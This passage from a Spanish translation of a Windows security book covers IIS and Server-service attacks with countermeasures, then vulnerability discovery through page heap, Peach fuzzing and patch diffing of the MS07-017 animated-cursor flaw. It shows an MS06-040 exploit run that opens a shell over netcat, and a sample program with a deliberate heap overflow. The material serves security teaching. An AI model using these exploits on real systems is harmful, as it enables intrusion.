Un atacante que quiera tomar como destino la misma vulnerabilidad SSL PCT de IIS em-
pleando Metasploit simplemente la seleccionaría de la lista de explotaciones precompiladas des-
plegadas en la interfaz de usuario de Metasploit. Luego Metasploit despliega una pantalla útil
que proporciona una descripción de la vulnerabilidad, junto con referencias. Metasploit inclu-
so nos permite seleccionar entre varias cargas que pueden enviarse al servidor (incluido shell
remota, como demostramos arriba). Después de hacer clic en el botón Exploit, Metasploit des-
pliega el estado de éxito del envío de carga, y se presenta al atacante con acceso a la consola al
servidor remoto.
05_SCAMBRAY_05.indd 159 7/28/08 8:56:10 PM

Contramedidas ante IIS

Existen varias buenas referencias para bloquear IIS (“Referencias y lecturas adicionales”). Reco-
mendamos que las consulte para conocer detalles a profundidad, pero hemos encontrado que
puede obtenerse excelente seguridad para IIS si se sigue este simple consejo:
• Asegúrese de que está ejecutando la versión más actualizada, con parches.

• Configure IIS de manera conservadora (por ejemplo, al deshabilitar extensiones
y filtros innecesarios). En el caso específico de la vulnerabilidad de SSL/PCT, la
deshabilitación del protocolo obsoleto PCT mitiga por completo el problema.
• Implemente control de acceso a red entrante y saliente desde el servidor Web para
protegerse contra ataques en otros servicios que no sean de IIS y para restringir la
técnica de “telefonazo a casa”, como shells remotas, tal como ya se demostró.
Explotación del servicio Servidor de Windows

Popularidad: 10
Simplicidad: 10
Impacto: 7
Uno de los servicios más importantes en servidores Web es Servidor, lo que sorprende poco.
Proporciona la base para ofrecer recursos a clientes (llamadas a RPC, servicios de archivo e im-
presión, etc.). Originalmente Microsoft lanzó un boletín el 8 de agosto de 2006, titulado “La vul-
nerabilidad en el servicio Servidor podría permitir la ejecución de código remoto”. Aunque el
nombre implica capacidad de explotación condicional, la realidad es que el “servicio permite
ejecución de código remoto”, de acuerdo con el boletín.
El problema residía en la función CanonicalizePathName(). Canonicalización significa
normalización de la cadena manejada por una función. Por ejemplo, si los datos se presentan
usando Unicode con diferentes codificaciones, para usar en realidad la información el sistema
necesita normalizarla (descifrarla) a la forma de presentación más simple que pueda comprender
la aplicación. De manera natural, los atacantes han tomado como blanco la canonicalización; por
ejemplo, la antigua sintaxis “punto-punto-diagonal” para recorrer los sistemas de archivo algu-
na vez se explotó contra IIS al usar cifrado especial como %255c o %a0%af en lugar de ../.
Este error, después de la publicación, causó que casi de inmediato se publicaran diferentes
explotaciones, y también se usaron en algún malware.
A continuación se presenta un ejemplo de uso de la explotación real escrita por Preddy:
kraken:~/hacks/exploits jabba$ ./ms06-40 127.0.0.1
Target: 127.0.0.1
Attack Finished: now open a new terminal and nc to your victim on port 54321
Warning: Don't close this window!
[open a new terminal/window/prompt]
nc 127.0.0.1 54321
Microsoft Windows XP [Version 5.1.2600]
05_SCAMBRAY_05.indd 160 7/28/08 8:56:11 PM

C:\WINDOWS\system32>
Aunque este ejemplo es de XP, el error también era explotable en Windows 2003 en ese momento.
Contramedidas ante la explotación del servicio Servidor de Windows

Debido a que no es práctico deshabilitar el servicio Servidor, lo único que queda es el control de
daños (no abrir el servicio en Internet, y luego tal vez endurecer los vectores que suelen explotar
su uso para obtener ejecución de código). Por supuesto, los procedimientos apropiados de ad-
ministración de parches ayudan con esto, junto con la mitigación del problema con sistemas de
protección de intrusión, segmentación, etcétera.
RESUMEN
En este capítulo hemos cubierto ataques contra servicios de Windows que van de lo mundano
(adivinación de contraseñas) a lo complejo (ataques de intermediario), a lo horriblemente simple
(sobreflujo de búfer de la interfaz de MSRPC). Aunque tal vez su cabeza esté dando vueltas con
el número de ataques factibles contra los protocolos de red de Microsoft, a continuación se pre-
sentan los puntos defensivos más importantes que vale la pena recordar:
• Bloquee el acceso a servicios específicos de Windows empleando firewalls de red

y host. Windows XP SP2 y Vista proporcionan mejoras integradas a la Firewall de
Windows que hacen parte de esto como opción predeterminada.
• Deshabilite los servicios de Windows, si no se están usando; por ejemplo, separar
la opción Compartir archivos e impresores de redes de Microsoft del adaptador
apropiado es la manera más segura de deshabilitar los servicios de SMB en Windows.
(Consulte el capítulo 4 para conocer más información).
• Si debe habilitar los servicios de SMB, establezca las opciones de acceso de red, de la
directiva de seguridad, de manera apropiada para evitar la fácil enumeración de los
nombres de cuenta de usuario (consulte el capítulo 4).
• Imponga contraseñas sólidas empleando la opción Las contraseñas deben cumplir
los requerimientos de complejidad, de Directiva de seguridad/Directivas de cuenta.
(Además, revise los vínculos relacionados con frases de contraseña que le ayudan a
encontrar frases que son fáciles de recordar, pero difíciles de descubrir).
• Habilite el bloqueo de cuentas usando Directiva de seguridad/Directivas de cuenta/
Directivas de bloqueo de cuentas.
• Bloquee la cuenta real de Administrador empleando passprop, y en versiones
posteriores de Windows utilice la funcionalidad proporcionada en la configuración
de la directiva de seguridad.
• Cambie la cuenta real del Administrador y cree una cuenta “señuelo” de
Administrador que no sea miembro de algún grupo.
• Habilite la auditoría de sucesos de inicio de sesión bajo Directiva de seguridad/
Directiva de auditoría y revise con frecuencia los registros, empleando análisis
automatizado de registro y herramientas de informe.
• Haga un escrutinio cuidadoso de los empleados que requieren privilegios de
Administrador y asegúrese de que están implementadas las directivas apropiadas para
limitar su acceso hasta que lo indiquen sus condiciones de empleo.
05_SCAMBRAY_05.indd 161 7/28/08 8:56:12 PM

• Establezca el parámetro Seguridad de red: nivel de autentificación de LAN Manager

por lo menos en Sólo enviar respuesta NTLM en todos los sistemas de su entorno,
sobre todo en sistemas heredados como Windows 9x, que pueden implementar el
nivel 3 de autentificación empleando la actualización de DSClient en el CD-ROM de
Windows. En realidad, cualquier nivel inferior de NTLMv2 permite ataques de fuerza
bruta muy rápidos a partir de mensajes de autentificación capturados.
• Esté al pendiente de correos electrónicos HTML o de páginas Web que soliciten inicio
de sesión a recursos de Windows empleando el archivo file://URL (aunque estos
vínculos sean invisibles para el usuario).
• Esté al día con los parches (como siempre).
• ¿Mencionamos la revisión de esos registros?
Y un tema final, pero no por ello menos importante: no olvide que la autentificación de Win-
dows y servicios relacionados sólo son las puertas más obvias en los sistemas de Windows. Aun-
que SMB esté deshabilitado, aún están disponibles gran cantidad de otras buenas avenidas,
incluidos IIS y SQL (capítulo 9) ¡No adquiera una falsa sensación de seguridad sólo porque se ha
bloqueado SMB!

Artículos relevantes de la base de datos de
conocimiento
Q288164, “Cómo evitar la creación de http://support.microsoft.com/?kbid=288164
recursos administrativos en Windows NT
Server 4.0”
Q147706, “Cómo deshabilitar la autentifi- http://support.microsoft.com/?kbid=147706
cación LM en Windows NT”
Q239869, “Cómo habilitar la http://support.microsoft.com/?kbid=239869
autentificación NTLM 2”
Q161372, “Cómo habilitar firma SMB http://support.microsoft.com/?kbid=161372
en Windows NT”
“How to Shoot Yourself in the Foot with www.microsoft.com/technet/community/
Security, Part 1, cubre firma SMB” columns/secmgmt/sm0905.mspx
Toolcrypt, compilación de herramientas de www.toolcrypt.org/index.html?hew
evaluación de seguridad de
Windows
DelGuest, por Arne Vidstrom http://ntsecurity.nu/toolbox/delguest
COAST, diccionarios y listas de palabras ftp://coast.cs.purdue.edu/publicación/dict/
WinPcap, una arquitectura de captura de http://www.winpcap.org
paquetes gratuita para Windows, del
Politecnico di Torino, Italia (incluido con
L0phtcrack 3 y posteriores)
05_SCAMBRAY_05.indd 162 7/28/08 8:56:12 PM

KerbSniff y KerbCrack, por Arne Vidstrom www.ntsecurity.nu/toolbox/kerbcrack/
ScoopLM y BeatLM www.securityfriday.com
SMBRelay, por Sir Dystic htpp://www.xfocus.net/articles/200305/
smbrelay.html
Snarp, por Frank Knobbe, utilería de www.securityfocus.com/tools/1969
envenenamiento de caché, que sólo
funciona en NT 4, no siempre es confiable
Ettercap, un olfateador/interceptor/ http://ettercap.sourceforge.net/
escritor de registros de varios propósitos
para LAN conmutadas
LCP: descubrimiento de hashes de www.lcpsoft.com/english/index.htm
desafío-respuesta y volcados
Venom: descubridor WMI www.cqure.net/wp/?page_id=21
TSGrinder www.hammerofgod.com/download
Event Log Monitor (ELM) de TNT Soft- www.tntsoftware.com
ware
EventAdmin de Quest Software www.quest.com/intrust
L0phtcrack con SMB Packet Capture http://packetstormsecurity.org/Crackers/
NT/l0phtcrack/
Incidentes de hackeo de CIFS/SMB en las

noticias
“Exploit Devastates WinNT/2K Security”, www.theregister.co.uk/content/8/18370.
The Register, 2 de mayo, 2001, cubriendo el html
lanzamiento de SMBRelay
Marcos conceptuales de explotación

Metasploit www.metasploit.com
CORE IMPACT, un suite de prueba de www.corest.com
penetraciones de Core Security
Technologies
CANVAS Professional, un marco concep- www.immunitysec.com
tual de desarrollo de explotaciones de
Immunity
Discurso técnico sobre la debilidad del www.packetstormsecurity.org/Crackers/
hash LM y desafío-respuesta NT/l0phtcrack.rant.nt.passwd.txt
Samba, una implementación de SMB en www.samba.org
UNIX
05_SCAMBRAY_05.indd 163 7/28/08 8:56:13 PM

“Modifying Windows NT Logon Creden- www.coresecurity.com/index.php5?modules
tial”, Hernán Ochoa, CORE-SDI, delinea el =ContentMod&action=item&id=1030
concepto “pasar el hash”
Sitio Web de Luke Kenneth Casson www.cb1.com/~lkcl/
Leighton, un estupendo recurso de
información técnica sobre CIFS/SMB
“Feasibility of Attacking Windows 2000 www.securityteam.com/windowsntfocus/
Kerberos Passwords”, por Frank O’Dwyer 5BP0H0A6KM.html
“Cracking NTLM 2 Authentication”, www.blackhat.com/presentations/win-usa-
archivo de PowerPoint 02/urity-winsec02.ppt
DCE/RPC over SMB: Samba and Windows por Luke K. C. Leighton, Macmillan Techni-
NT Domain Internals cal Publishing (1999)
Especificaciones de CIFS/SMB de ftp://ftp.microsoft.com/developr/drg/cifs
Microsoft
WNetAddConnection2 function http://msdn2.microsoft.com/en-us/library/
aa385413.aspx
Listas de verificación de seguridad de www.microsoft.com/technet/security/
Windows y otras guías guidance
Hacking Exposed, quinta edición, capítulo 7, Por Stuart McClure, Joel Scambray y George
“Network Devices”, cubre redirecciona- Kurtz, McGraw-Hill/Osborne (2005)
miento de ARP/envenenamiento de caché
“Core Security Technologies Demonstrates www.coresecurity.com/index.php5?module=
Exploitability of Third-Party Software ContentMod&action=item&id=1660
Running on Vista”
“Why you shouldn’t be using passwords http://blogs.technet.com/robert_hensing/
of any kind on your Windows networks”, archive/2004/07/28/199610.aspx
del blog de Robert Hensing
Análisis en Wikipedia acerca del uso de http://en.wikipedia.org/wiki/Pass_phrase
frases de contraseña
“The Great Debates: Pass Phrases vs. www.microsoft.com/technet/security/
Passwords” en MS TechNet secnews/articles/itproviewpoint100504.
mspx
05_SCAMBRAY_05.indd 164 7/28/08 8:56:14 PM

capítulo 6
I E N T O
U B R I M
D E S C N D E
O T A C I Ó
YE X P L A D E S
A B I L I D
N E R
VUL I N D O W S
DE W
165
06_SCAMBRAY_06.indd 165 7/28/08 8:59:01 PM

D
urante varios años, en el segundo martes de cada mes (“martes negro”), Microsoft con-
sidera la liberación de parches de seguridad. En casi todos los meses, se liberan parches.
El martes negro marca el día en que los investigadores de seguridad descargan parches
y empiezan a aplicarles ingeniería inversa, en un esfuerzo por descubrir cómo explotar las má-
quinas que no tienen el parche. ¿Cómo pueden descubrirse estos problemas de seguridad y
cómo pueden explotarse? En este capítulo se analizan los tipos de errores que afectan a las pla-
taformas de Windows, cómo descubrirlas y cómo pueden explotarse.
VULNERABILIDADES DE SEGURIDAD
Las vulnerabilidades de seguridad del software a menudo surgen de un descuido en el código,
la configuración, el diseño o el entorno de un componente determinado de la tecnología. Por
ejemplo, la vulnerabilidad de ejecución de código remoto del cursor animado de Windows es un proble-
ma del código, porque es resultado de un manejo inapropiado del búfer. Por otra parte, la vulne-
rabilidad de escritura arbitraria de archivos en Internet Explorer es resultado de un descuido de la
configuración. Este problema se resolvió con sólo deshabilitar el control ActiveX Objeto de des-
cripción de sesión de NMSA dentro de Internet Explorer.
Las vulnerabilidades, a pesar de su origen, suelen dar como resultado ataques de elevación
de privilegios (EoP, Elevation of Privileges) o la negación del servicio (DoS, Denial of Service).
Dependiendo de la metodología de modelado de la amenaza a la que se suscribe, esta lista pue-
de expandirse para incluir amenazas adicionales. Por ejemplo, la metodología de modelado de
amenazas de Microsoft incluye seis categorías:
• Falsificación de identidad
• Manipulación de datos
• Repudio
• Develación de información
• Negación del servicio
• Elevación de privilegios
Se puede argumentar que las primeras cuatro se consideren artefactos de un EoP. Se proporcio-
nan aquí para asegurar que tiene una clara comprensión de los diversos aspectos de lo “malo”.
BÚSQUEDA DE VULNERABILIDADES DE SEGURIDAD

¿Cómo se descubren estas vulnerabilidades? En algunos casos, basta con usar simplemente el
software, o tal vez se requieran varias lunas de investigación. Por lo general, el descubrimiento
de una vulnerabilidad es resultado de uno o más de los siguientes ejercicios:
• Compilación
• Revisión del código
• Ingeniería inversa
• Inyección de errores
• Prueba ad hoc
06_SCAMBRAY_06.indd 166 7/28/08 8:59:02 PM

Capítulo 6: Descubrimiento y explotación de vulnerabilidades de Windows 167
• Análisis estático
• Análisis dinámico (motor en tiempo de ejecución)
• Uso general
En páginas posteriores de este capítulo analizaremos la ingeniería inversa y la inyección de erro-

res con más detalle. En primer lugar, analizaremos algunas de las maneras en que puede confi-
gurarse Windows para ayudarle a detectar defectos de seguridad.
Trabajo de preparación
Windows viene equipado con varias herramientas que ayudan a nuestra capacidad de buscar y
localizar vulnerabilidades. Las más notables son las opciones de ejecución de archivos de imagen y
las marcas globales (GFlags). Las opciones de ejecución de archivos de imagen nos permiten mo-
dificar ciertos atributos y comportamientos del espacio de proceso de una aplicación. Por ejem-
plo, podemos forzar a Windows a realizar revisiones sanitarias del montículo después de que se
libera memoria o de que se llenan las asignaciones de memoria con página de guardia para que
podamos detectar sobreflujo del montículo. (Para conocer una lista completa de opciones, con-
sulte Comentarios sobre GFlags en la sección “Referencias y lecturas adicionales”).
Podemos establecer manualmente estas opciones en el Registro, en HKLM\SOFTWARE\
Microsoft\Windows NT\CurrentVersion\Image File Execution Options, o podemos depender
de una utilería de GUI proporcionada como parte de las herramientas de depuración del paque-
te de Windows, gflags.exe.
Suponga que el siguiente listado de código (numerado por conveniencia) representa una
aplicación en que queremos detectar sobreflujo del montículo:
1 #include <string.h>
2 #include <stdio.h>
3 #include <windows.h>
4
5 #define ALLOC_SIZE 1024
6 INT main(INT argc, PCHAR *argv)
7 {
8 PCHAR pBlob = (PCHAR)malloc(ALLOC_SIZE);
9
10 if(!SUCCEEDED(pBlob))
11 {
12 return 0;
13 }
14
15 memset(pBlob, 'A', ALLOC_SIZE + 1);
16 printf(“%s\n”, pBlob);
17 // free(pBlob);
18
19 return 0;
20 }
06_SCAMBRAY_06.indd 167 7/28/08 8:59:03 PM

En la línea 15, no puede ver que está ocurriendo un sobreflujo del montículo de 1 byte. Si com-
pilamos y ejecutamos este programa, imprimirá una gran cantidad de A y saldrá normalmente.
Sin embargo, si habilitamos el montículo de página para esta imagen, heaptest.exe, entraremos
en el depurador debido a sobreflujo.
Para habilitar el montículo para esta página, dé los siguientes pasos:
1. Instale las Debugging Tools (herramientas de depuración) para Windows.
2. Ejecute gflags.exe.
3. En la ventana Global Flags, seleccione la ficha Image File.
4. Escriba heaptest.exe en el cuadro Image.
5. Oprima la tecla tab.
6. Marque Enable Page Heap.
7. Haga clic en Apply. Su pantalla debe ser parecida a la de la figura 6-1. Luego haga clic
en OK.
Figura 6-1 Habilitación del montículo de página para heaptest.exe
06_SCAMBRAY_06.indd 168 7/28/08 8:59:04 PM

La utilería GFlags no es más que un editor del Registro. Estos valores también pueden habilitarse
NOTA
manualmente.
Si volvemos a ejecutar el mismo código, heaptest.exe entrará en el depurador, como se mues-

tra en el siguiente listado:
Microsoft (R) Windows Debugger Version 6.6.0007.5

Copyright (c) Microsoft Corporation. All rights reserved.
Executable search path is:
ModLoad: 00400000 0040f000 C:\code\heaptest.exe
ModLoad: 76f10000 7702e000 C:\Windows\system32\ntdll.dll
ModLoad: 77110000 77141000 C:\Windows\system32\verifier.dll
ModLoad: 76c00000 76cd8000 C:\Windows\system32\kernel32.dll
(1514.1484): Access violation - code c0000005 (!!! second chance !!!)
eax=41414141 ebx=76c47b1c ecx=00000000 edx=00000001 esi=00000002
edi=01584000
eip=00401215 esp=0012ff38 ebp=0012ff50 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
*** WARNING: Unable to verify checksum for C:\code\heaptest.exe
heaptest!memset+0x55:
00401215 8807 mov byte ptr [edi],al
ds:0023:01584000=??
0:000> u
heaptest!memset+0x55 [F:\RTM\vctools\...\src\intel\memset.asm @ 122]:
00401215 8807 mov byte ptr [edi],al
00401217 83c701 add edi,1
0040121a 83ea01 sub edx,1
0040121d 75f6 jne heaptest!memset+0x55 (00401215)
0040121f 8b442408 mov eax,dword ptr [esp+8]
00401223 5f pop edi
00401224 c3 ret
00401225 8b442404 mov eax,dword ptr [esp+4]
Si aún no tiene instalado un depurador post.mortem, ejecute windbg.exe –I.

NOTA
En el código anterior, puede ver que el depurador se detiene con una violación de acceso mien-
tras se encuentra dentro de memset y trata de escribir 0x41('A') en el puntero en edi. Si desen-
samblamos esta área (con 'u'), podemos ver que edx disminuye cada vez que se escribe un
carácter en la memoria que apunta a edi. Al revisar el valor en edx, que es 1, puede ver que es el
último byte que se ha escrito. Esto corresponde al sobreflujo de 1 byte en el código fuente. Si depu-
ráramos en el modo de código fuente, el depurador también resaltaría la línea de código que co-
mete la ofensa. Por fortuna, esto pinta una imagen clara de la utilidad del montículo de página.
Inyección de errores
En su forma más simple, la inyección de errores puede describirse como la introducción de datos
mal formados en una aplicación, de manera automatizada. El principal beneficio de la inyección
de errores es que una vez que se ha construido el inyector, puede dejarlo sólo hasta que el destino
entre en el depurador. Esto le deja tiempo libre para investigar otras áreas de la aplicación o escri-
bir inyectores adicionales. Se dispone de un número decente de inyectores, dependiendo de lo que
06_SCAMBRAY_06.indd 169 7/28/08 8:59:06 PM

está tomando como destino. Nuestra experiencia ha demostrado que Peach Fuzzer Framework de
Michael Eddington se encarga de todo cuando se trata de crear rápidamente inyectores efectivos.
Inyección de errores con Peach

Peach es un marco conceptual de inyección de errores basado en Python, no un inyector. Propor-
ciona un conjunto de clases y herramientas suplementarias que ayudan al desarrollo rápido de
inyectores. En el centro del inyector Peach se encuentran los generadores, grupos y transforma-
dores. Los generadores son responsables de crear malformaciones de datos, los grupos contro-
lan la iteración y las relaciones entre las malformaciones y los transformadores convierten los
datos generados a otro formato, como Base64. Para conocer una revisión general de la manera
en que funciona esto, puede leer el tutorial de Peach en http://peachfuzz.sourceforge.net/do-
cumentos/tutorial/peach-tutorial.htm.
Peach también incluye un par de hábiles herramientas. La más notable es peachshark.py.
Esta gema digerirá una captura de paquete de Wireshark (http://www.wireshark.org), cuando
se guarda en formato de lenguaje transportable de marcado de documentos (PDML, Portable
Document Markup Language), y creará un inyector. Por ejemplo, los siguientes pasos produci-
rán un inyector HTTP simple:
1. Inicie Wireshark.
2. Inicie el olfateo: elija Capture | Start.
3. Vaya a un sitio Web.
4. Detenga el olfateo: elija Capture | Stop.
5. Seleccione una solicitud GET de HTTP, como se muestra en la figura 6-2.
6. Elija File | Export | File para abrir la ventana Export File, como se muestra en la figura
6-3 y exporte el paquete seleccionado en formato PDML.
7. Desde su indicador de comandos o su shell, ejecute python peachshark.py
packet.pdml http > httpfuzz.py:
Figura 6-2 Seleccione una solicitud GET de HTTP
06_SCAMBRAY_06.indd 170 7/28/08 8:59:07 PM

Figura 6-3 Exporte el paquete seleccionado en formato PDML
NOTA Peachshark.py requiere el paquete XML 4Suite disponible en http://4suite.org.
El resultado es un inyector HTTP funcional. Este inyector generado automáticamente tiene

algunas limitaciones, como su ignorancia de los métodos HTTP válidos diferentes de GET. Sin
embargo, la adición de otros métodos HTTP válidos sólo toma unos segundos. Además, este in-
yector generado automáticamente inyectará errores al encabezado dentro de la solicitud origi-
nal, junto con componentes individuales de cada valor de encabezado. Esto se debe a que el
inyector de generación automática incorpora un generador útil, y un poco simple, StringToken-
Fuzzer. Este generador acepta una cadena y la segmenta con base en un conjunto configurable
de tokens, como una coma, espacio, dos puntos, punto y coma, etc. Este árbol de segmentos es
recorrido más adelante y recibe datos erróneos individualmente. Ahora sólo señalamos el inyec-
tor en nuestro servidor Web de destino:
C:\projects\peach\tools>python httpfuzz.py count
]] Http Fuzzer by PeachShark
: GroupSequence.next(): GroupCompleted [949]
06_SCAMBRAY_06.indd 171 7/28/08 8:59:08 PM


Total of 277494 test cases
C:\projects\peach\tools>python httpfuzz.py tcp 127.0.0.1 80
]] Http Fuzzer by PeachShark
Running fuzzer on 127.0.0.1:80 via tcp
Mientras se ejecuta el inyector, varias pruebas aparecerán junto con la respuesta del servidor
HTTP para cada prueba de inyección de errores. En este punto, puede volver a sentarse y dejar
que el inyector se ejecute mientras usted trabaja en algo más.
Ingeniería inversa
En ausencia de código fuente, siempre podemos desensamblar binarios y buscar problemas de
seguridad dentro del ensamblado. ¿Pero dónde empezar? Una opción consiste en descargar par-
ches de errores de seguridad anteriores y compararlos contra las versiones sin parches. Las
partes de los binarios que no coinciden seguramente apuntarán a un problema de seguridad.
En el resto de esta sección se analizará cómo desempaquetar un paquete de actualización de
Microsoft (.MSU), comparar la nueva biblioteca dinámica de vínculos (DDL, Dynamic Link Li-
brary) con la antigua e identificar el problema de seguridad. Usaremos el error del cursor anima-
do identificado por Alexander Sotirov de Determina, cuya excelente descripción técnica de esta
condición fue la referencia principal para los detalles de la vulnerabilidad. También aprendere-
mos del trabajo anterior realizado por el proyecto Metasploit para demostrar cómo MS07-17
puede explotarse en Microsoft Vista.
Desempaquetado de una actualización

Como se estableció, una manera de descubrir vulnerabilidades en Windows consiste en desem-
paquetar el paquete de actualización de Microsoft y comparar el nuevo DLL con el anterior. Una
vez que se haya identificado el error en que estamos interesados, en este caso MS07-17, primero
descargamos la corrección y la desempaquetamos:
C:\projects\reverse\KB925902>expand –F:* Windows6.0-KB925902-x86.msu .

Microsoft (R) File Expansion Utility Version 6.0.6000.16386
Copyright (c) Microsoft Corporation. All rights reserved.
Agregar .\WSUSSCAN.cab a la cola de extracción

Agregar .\Windows6.0-KB925902-x86.cab a la cola de extracción
Agregar .\Windows6.0-KB925902-x86-pkgProperties.txt a la cola de extracción
Agregar .\Windows6.0-KB925902-x86.cab a la cola de extracción
06_SCAMBRAY_06.indd 172 7/28/08 8:59:08 PM

Expandiendo archivos ....
Expansión de archivos completada ...

4 archivos total
C:\projects\reverse\KB925902>
A partir de esto, puede ver que se extrajeron cuatro archivos de la actualización. El archivo más
interesante es Windows6.0-KB925902-x86.cab, porque contendrá las bibliotecas actualizadas.
NOTA Herramientas como el analizador de seguridad de línea de base de Microsoft (MBSA, Microsoft
Baseline Security Analyzer) utilizan WSUSSCAN para realizar rastreo de niveles de parches del
sistema fuera de línea.
Podemos expandir Windows6.0-KB925902-x86.cab de la misma manera utilizada con el pa-

quete de actualización, que proporcionará una serie de directorios y manifiestos. En el directorio
x86_microsoft-windows-user32_31bf3856ad364e35_6.0.6000.16438_none_cb39bc5b7047127e,
encontraremos la versión parchada de user32.dll. El siguiente paso consiste en comparar esta
versión parchada contra la antigua versión sin parche con la esperanza de localizar el error.
Localización del error

Para realizar este paso, usamos una herramienta gratuita creada por los brillantes participantes
de eEye Research Team: Binary Diffing Suite (BDS) puede descargarse de http://research.eeye.
com/html/tools/RT20060801-1.html.
BDS requiere IDA Pro de Data Rescue.

NOTA
Una vez instalado, lance el Binary Diffing Starter y dé los siguientes pasos:
1. Dentro del marco Path Configuration, seleccione File Diffing.
2. Para Pre-Patch, explore y seleccione la versión no parchada de user32.dll.
3. Para Post-Patch, explore y seleccione la versión parchada de user32.dll.
4. Para Output-Path, explore y seleccione su directorio de trabajo.
5. En el área BDS Levels, asegúrese de que ambas casillas de verificación están marcadas.
6. En el área Plugins, seleccione DarunGrim. Su pantalla debe parecerse a la de la figura
6-4.
7. En este punto, haga clic en Start y espere a que el programa le indique que se ha
completado. Una vez terminado, verá un archivo llamado user32.dll.dg.db en su ruta
de salida.
Cierre el Binary Diffing Starter y lance DarunGrim. Una vez cargado, dé los siguientes pasos
para encontrar las diferencias entre los binarios parchado y no parchado.
1. Elija Archivo | Nuevo. Aparecerá el cuadro de diálogo Analyze.
2. Haga clic en Pre-patch.
3. Haga clic con el botón derecho en Select Analida Generated File y vaya a user32.dll.
dg.db.
4. Expanda user32.dll.dg.db y seleccione el user32.dll no parchado.
06_SCAMBRAY_06.indd 173 7/28/08 8:59:09 PM

Figura 6-4 Configuración de Binary Diffing Starter
5. Haga clic en Post-patch, expanda user32.dll.dg.db y seleccione el user32.dll parchado.

6. Haga clic en Result y seleccione user32.dll.dg.db.
7. Haga clic en Start Analyze.
Dependiendo de la capacidad de trabajo de su equipo, esto puede tomar un buen rato. Una
vez completado, verá una tabla que contiene, entre otras cosas, los nombres de las subrutinas y
sus índices de coincidencia. El valor de Match Rate debe estar, en teoría, entre 1, una coinciden-
cia perfecta, y 0, una coincidencia considerablemente menos perfecta. Debido a que estamos
buscando cambios sutiles, debemos concentrarnos en subrutinas que sean una coincidencia casi
perfecta. Podemos hacer esto al ordenar el Match Rate en orden ascendente para que termine
con la pantalla mostrada en la figura 6-5.
06_SCAMBRAY_06.indd 174 7/28/08 8:59:10 PM

Figura 6-5 Tabla ordenada de coincidencias de subrutinas
En la cuarta fila hacia abajo, _LoadAniIcon@20 probablemente debe saltar como impor-
tante, considerando que tratamos de localizar un error relacionado con cursores animados. El
siguiente paso consiste en hacer clic con el botón derecho en esta fila y seleccionar Diff. Esto pre-
sentará una ventana de doble panel que contiene gráficas con llamadas codificadas por color,
como se muestra en la figura 6-6.
La versión no parchada se encuentra a la izquierda y la versión parchada a la derecha. Hay
muchos elementos allí pero, ¿cuál es importante? Es muy probable que el parche dé como resul-
tado la inclusión o ausencia de lógica en el nuevo DLL.
06_SCAMBRAY_06.indd 175 7/28/08 8:59:11 PM

Figura 6-6 Llamadas gráficas de las versiones parchada y no parchada de user32.dll
Revise la parte inferior de esta ventana y verá una clave que explica la codificación de color.
Puede ver que los bloques con color durazno no tienen una coincidencia correspondiente entre
versiones. Un bloque color durazno se observa en el panel de la ventana derecha. Esto represen-
ta lógica que no está presente en la versión sin parche. Revisémosla al hacer un pequeño acerca-
miento, como se muestra en la figura 6-7.
Aquí puede ver que el bloque adicional está comparando una variable local con 24h. Si el
valor coincide, la ejecución salta a loc_77D656A0 y se aleja de ReadChunk. Si el valor no coin-
cide, la ejecución cae a loc_77D8504D en la parte inferior de la gráfica, que regresa efecti-
vamente de la función.
06_SCAMBRAY_06.indd 176 7/28/08 8:59:11 PM

Figura 6-7 Bloque adicional en la versión parchada
¿Qué se está comparando? Recorramos un poco la gráfica y veamos si podemos saberlo. En

loc_77D653F1, podemos ver que el registro eax se está comparando con 0x68696E61. Este
valor, representado en ASCII y ajustado para usarse en “endian”, es anih. Se trata de una cade-
na muy identificable. Veamos si podemos obtener un par de sugerencias de un archivo ANI real
para saber qué es lo que está pasando. Hemos abierto C:\Windows\Cursors\aero_busy.ani en
un editor hex, como se muestra en la figura 6-8.
Sugerencia El 010 Editor de SweetScape es estupendo para este tipo de análisis, porque le permite crear
rápidamente plantillas con las cuales superponer el contenido del archivo. Cuando se ve un archivo,
la plantilla se “aplica” al archivo, lo que proporciona al usuario el contenido del esquema. Una plantilla
indicará que los primeros cuatro bytes son el Tipo, los siguientes cuatro son la longitud y junto a los
bytes del número de longitud se encuentran los datos.
06_SCAMBRAY_06.indd 177 7/28/08 8:59:13 PM

Figura 6-8 Vista hex de un cursor animado
¡Estupendo! En la primera línea puede ver la cadena anih. Este segmento de código está
probablemente analizando esta parte del archivo. Por coincidencia, el siguiente byte es 0x24,
que coincide con el valor que la versión no parchada de user32.dll está esperando. Al saber que
tenemos que convertir hina en anih debido a la disposición endian, probablemente debemos
pensar en hacer lo mismo con 0x24. Si revisa los tres bytes siguientes, verá que todos son ceros.
Si ajustamos 0x24000000 como hicimos con inah, terminaremos con 0x00000024, que sigue
siendo 0x24. Tal vez estemos logrando algo. ¿Qué se hace a continuación? Bueno, muchos pro-
tocolos y estructuras de datos dependen del formato conocido como Tipo Longitud Valor (TLV).
El primer campo, Tipo, describe los datos; el segundo campo, Longitud, indica cuántos datos
hay; y el tercer campo, Valor, son los datos reales a los que hacen referencia el Tipo y la Longitud.
Esto podría ser, muy bien, lo que está pasando. Para confirmarlo, convirtamos 0x24 al decimal
36, cuente ese número de bytes en el archivo y verá dónde terminamos. Aterrizamos justo frente
a otro Tipo posible: rate. Si realizamos los mismos pasos para rate terminamos en LIST. Si
vamos en otra dirección podemos ver que los 4 bytes después de RIFF, 0x782E0100, repre-
sentan el Tamaño de su Valor, el resto del archivo.
A partir de aquí, podemos suponer que la comparación de 0x24 en la versión parchada de
user32.dll está asegurando que el tamaño advertido del Valor anih es 36 bytes. Así que copie-
mos aero_busy.ani a otro directorio, cambiemos el Tamaño anunciado del Valor anih a 0xFF,
establezcamos un punto de interrupción en LoadAniIcon, vayamos al archivo modificado en
el Explorador y veamos lo que sucede.
¡No sucede nada! Pero si volvemos a cambiar el tamaño a 0x24, llegamos al punto de in-
terrupción. Si seguimos en el depurador, notaremos que el icono de aero_busy.ani en el Ex-
plorador cambió de la hoja blanca genérica al icono especial de aero. Esto indica que el
Explorador está cediendo antes de cargar por completo la información del icono de nuestro cur-
sor modificado.
He aquí lo que hemos hecho hasta ahora:
• El parche asegura que el encabezado ANI tenga 36 bytes.
• Si representamos de manera errónea el tamaño del encabezado ANI, el icono no se
carga en el Explorador.
06_SCAMBRAY_06.indd 178 7/28/08 8:59:13 PM

• Con base en el desensamblado, sabemos que LoadAniIcon analizará fragmentos de

anih.
• Si se representa mal el tamaño del encabezado ANI, nunca llegaremos a
LoadAniIcon.
